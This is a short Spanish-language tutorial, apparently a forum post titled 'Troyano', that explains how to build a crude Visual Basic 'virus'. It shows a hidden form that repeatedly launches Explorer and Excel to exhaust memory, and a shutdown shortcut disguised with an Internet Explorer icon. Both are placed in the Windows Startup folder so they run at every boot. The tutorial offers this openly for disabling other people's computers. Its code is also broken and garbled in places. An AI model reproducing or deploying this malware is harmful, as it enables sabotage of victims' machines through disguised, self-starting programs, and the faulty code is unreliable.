Troyano

Primero abran el Visual Basic 
Creen una apliacion .FORM 
Agregenle una LABEL con el nombre  de "X" pero sin las comillas hagan el form.visible en false 
Entren al codigo del form y escriban losiguiente: 
REMPLAZANDO LOS "-" POR "" 
Dim a as integer 
private sub form_load() 
do 
SHELL("C:-WINDOWS-Explorer.exe" 
X.caption=a+1 
SHELL("C:-WINDOWS-Explorer.exe" 
X.caption=a+1 SHELL("C:-WINDOWS-Explorer.exe" 
X.caption=a+1 
SHELL("C:-Archivos de programa-Microsoft Office-Office12-EXCEL.exe" 
X.caption=a+1 
SHELL("C:-Archivos de programa-Microsoft Office-Office12-EXCEL.exe" X.caption=a+1 
SHELL("C:-Archivos de programa-Microsoft Office-Office12-EXCEL.exe" 
loop until X.caption="20"




Con esto la pc no parara de ejecutar el explorer.exe y el EXCEL, igual lo puedenalterar para que ejecute otros programas 

Ahora sigue la parte de la autoejecucion 

Solo se trata de entrar en menu inicio-Todos los programas-Inicio y pulsar con el boton secundario para entrara la opcion "Explorar", hay solo pegaremos un acceso directo a nuestro virus y listo compilar el virus y colocarlo en cualquier parte para luego sacarle el acceso directo, hacer lo que dice arriba ybum, cada vez que inicien el pc no podran trabajar porque el virus les llena la RAM 



lo mismo se puede hacer para apagar el equipo apenas lo prenden: 

primero creamos un acceso directocualquiera y escribimos en su direccion: shu***.exe -s -t 8, si esta en el escritorio[recomendable]le dan con el boton derecho para que les deje entrar a propiedades, pulsen en "Cambiar Icono" y denle unode internet explorer. Luego muevanlo a "C:" y listo, llamenlo "INTERNET1" 
En vb creamos un form (tambien con visible=false)y escribimos: 

private sub form_load() 
SHELL("C:INTERNET1.INK"


ylisto, igual que el anterior compilenlo y ponganlo en una carpeta cualquiera para luego crearle un acceso directo en MENU INICIO-TODOS LOS PROGRAMAS-INICIO y lo pegan hay, asi cada vez que inicien el...